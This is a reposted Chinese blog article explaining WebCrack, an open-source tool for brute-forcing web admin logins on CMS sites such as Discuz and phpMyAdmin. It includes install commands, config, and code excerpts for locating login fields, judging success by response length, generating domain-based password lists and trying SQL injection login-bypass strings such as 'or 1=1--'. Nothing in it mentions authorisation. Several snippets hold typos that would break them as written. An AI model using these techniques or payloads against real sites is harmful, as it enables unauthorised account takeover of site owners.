这是一篇转载的文章。文章来源是:https://zhuanlan.zhihu.com/p/89205738
WebCrack 简介
WebCrack 是一款开源免费的 web 后台弱口令/万能密码批量爆破、检测工具。
不仅支持如 discuz,织梦,phpmyadmin 等主流 CMS 的后台爆破,并且对于绝大多数小众 CMS 甚至个人开发网站后台都有效果,只需在工具中导入后台地址即可进行自动化检测。
使用方法
下载
GitHub 项目: https://github.com/yzddmr6/WebCrack 。
1 git clone https://github.com/yzddmr6/WebCrack
安装所需依赖
1 pip3 install -r requirements.txt
运行脚本
1 2 3 4 5 6 7 $ python webcrack.py ***************************************************** * * **************** Code By yzddMr6 *************** * * ***************************************************** File or Url:
输入文件名则进行批量爆破,输入 URL 则进行单域名爆破。
自定义配置
在 cms.json
里面可以进行自定义配置
1 2 3 4 5 6 7 8 9 10 { "name" : "这是cms的名称" , "keywords" : "这里是cms后台页面的关键字,是识别cms的关键" , "captcha" : "1 为后台有验证,0 为没有。因为此版本并没有处理验证码,所以为 1 则退出爆破" , "exp_able" : "是否启用万能密码模块爆破" , "success_flag" : "登录成功过后的关键字" , "fail_flag" : "请谨慎填写此项。如果填写此项,遇到里面的关键字就会退出爆破,用于 dz 等对于爆破有次数限制的cms" , "alert" : "若为 1 则会打印下面的 note 内容" , "note" : "请保证本文件是 UTF 格式,并且请勿删除此说明" }
文件里面给出了集中常见的 cms 的配置方案,可进行参考。
原理分析
根据我们平时使用 burpsuite 中的爆破的原理,可知 webcrack 的爆破原理与其差异不大,自动分析找到爆破点、带入字典进行匹配、判断是否成功。
寻找爆破点
根据提取到的参数名来匹配用户名和密码的位置(缺陷:可能不包含在已设定的选项中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 for x in content.find_all('input' ): ok_flag = 0 if x.has_attr('name' ): parameter = x['name' ] elif x.has_attr('id' ): parameter = x['id' ] else : parameter = '' if x.has_attr('value' ): value = x['value' ] else : value = '0000' if paramter: if not user_key: for z in ['user' , 'name' , 'zhanghao' , 'yonghu' , 'email' ,.'account' ]: if z in paramter.lower(): value = '{username}' user_key = parameter ok_flag = 1 break if not ok_flag: for y in ['pass' , 'pw' , 'mima' ]: if y in parameter.lower(): value = '{pass_word}' pass_key = parameter ok_flag = 1 break data[parameter] = str (value)
判断是否成功
原理就是先对两个错误请求的返回值进行比较,如果不同,则无法进行判断,退出爆破;如果相同,则记录下来作为判断的标准。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def get_error_length (conn, path, data ): data1 = data cookie_error_flag = 0 dynamic_reg_len = 0 data2 = str (data1.replace('%7Buser_name%7D' , 'admin' )) data2 = str (data2.replace('%7Bpass_word%7D' , 'length_test' )) res_test = conn.post(url=path, data=data2, headers=random_headers(), timeout=10 , verify=False , allow_redirects=True , proxies=requests_proxies()) res_02 = conn.post(url=path, data=data2, headers=random_headers(), timeout=10 , verify=False , allow_redirects=True , proxies=requests_proxies()) res_02.encoding = res_02.apparent_encoding res = conn.post(url=path, data=data2, headers=random_headers(), timeout=10 , verify=False , allow_redirects=True , proxies=requests_proxies()) res.encoding = res.apparent_encoding error_length_02 = len (res_02.text + str (res_02.headers)) error_length = len (res.text + str (res.headers)) if error_length_02 != error_length: cookies_error_flag = 1 return error_length, cookie_error_flag, dynamic_req_len
根据黑名单判断,出现黑名单中的情况判定为爆破失败
1 fail_words = ['密码错误' , '重试' , '不正确' , '密码有误' ,'不成功' , '重新输入' , 'history.back' , '不存在' , '登录失败' , '登陆失败' ,'出错' , '已被锁定' ,'history.go' ,'安全拦截' ,'还可以尝试' ,'无效' ,'攻击行为' ,'创宇盾' , '非法' ,'百度云加速' ,'安全威胁' ,'防火墙' ,'黑客' , '不合法' ,'warning.asp?msg=' ,'Denied' ]
为了提高准确度,防止误报,还有重新检查的环节。就是再次把爆破出的帐号密码发送一次,将返回值与一个新的错误返回值进行对比,如果不同,则表示爆破成功。(为什么不使用前面记录下来的错误返回值进行对比,因为 WAF 的存在或其他因素的干扰会导致返回值的变化)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def recheck (path, data, user_name, pass_word ): data1 = data conn = requests.session() pass_word = str (pass_word.replace('{user}' , user_name)) data_test = str (data1.replace('%7Buser_name%7D' , user_name)) data_test = str (data_test.replace('%7Bpass_word%7D' , 'length_test' )) data2 = str (data1.replace('%7Buser_name%7D' , user_name)) data2 = str (data2.replace('%7Bpass_word%7D' , pass_word)) res_01 = conn.post(url=path, data=data_test, headers=random_headers(), timeout=10 , verify=False , allow_redirects=False , proxies=requests_proxies()) res_02 = conn.post(url=path, data=data2, headers=random_headers(), timeout=10 , verify=False , allow_redirects=False , proxies=requests_proxies()) res_01.encoding = res_01.apparent_encoding res_02.encoding = res_02.apparent_encoding error_length_01 = len (res_01.text+str (res_01.headers)) error_length_02 = len (res_02.text+str (res_02.headers)) if error_length_01 == error_length_02: return 0 else : return 1
动态词典
根据域名自动生成动态词典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def gen_dynam_dic (url ): dynam_pass_dic = [] tmp_dic = [] suffix_dic = ['' , '123' , '888' , '666' , '123456' ] list1 = url.split('/' ) host = list1[2 ].split(":" )[0 ] compile_ip = re.compile ('^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$' ) if compile_ip.match (host): check_ip = 1 else : check_ip = 0 if not check_ip: list2 = host.split("." ) i = len (list2) for u in range (i): list3 = list2[u:] part = '.' .join(list3) if (len (part) < 5 ): continue dynam_pass_dic.append(part) for u in range (i): list3 = list2[u] if len (list3) < 5 : continue tmp_dic.append(list3) for i in tmp_dic: for suffix in suffix_dic: u = i + suffix dynam_pass_dic.append(u) return dynam_pass_dic else : return ''
如果输入的是一个 IP,则返回一个空的列表。
万能密码
除了弱口令以外,还可能存在万能密码的漏洞,WebCrack 中添加了一些常用的 payload 用来检测是否存在万能密码的漏洞。(缺陷:可能会被 WAF 拦截)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 exp_user_dic = ["admin' or 'a'='a" , "'or'='or'" , "admin' or '1'='1' or 1=1" , "')or('a'='a" , "'or 1=1--" ] exp_pass_dic = exp_user_dic if exp_able: user_dic=exp_user_dic pass_dic=exp_pass_dic print ('Exp_dic is trying' ) user_name, pass_word = crack_task( path, data, user_dic, pass_dic,user_key,pass_key,cms_id) if user_name: print ("Rechecking......" ,url, user_name, pass_word) recheck_flag = recheck(path, data, user_name, pass_word) else : recheck_flag = 0 else : recheck_flag = 0
验证码
这部分自动化完成比较困难,这里只提供了一个简单的解决方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 captchas = ['验证码' , '验 证 码' ,'点击更换' , '点击刷新' ,'看不清' ,'认证码' ,'安全问题' ] if cms_id and cms[cms_id]['captcha' ] == 1 : print ("[-] captcha in login page: " + url + '\n' ,time.strftime('%Y-%m-%d %X' , time.localtime(time.time()))) with open (log_file, 'a+' ) as log: log.write("[-] captcha in login page: " + url + '\n' ) return '' ,'' ,'' else : if not cms_id : for captcha in captchas: if captcha in html: print ("[-]" + captcha + " in login page: " + url + '\n' ,time.strftime('%Y-%m-%d %X' , time.localtime(time.time()))) with open (log_file, 'a+' ) as log: log.write("[-]" + captcha + " in login page: " + url + '\n' ) return '' ,'' ,''
因为通用型爆破,可能无法做到百分百准确,可以修改配置文件来更符合你的需求。(出现 sql 错误信息可能存在 post 注入的情况无法进行爆破)二向箔安全 最近开放了一系列免费的网络安全技能包,通过学习技能不断提升自我能力,在网络安全的世界中不断闯关升级。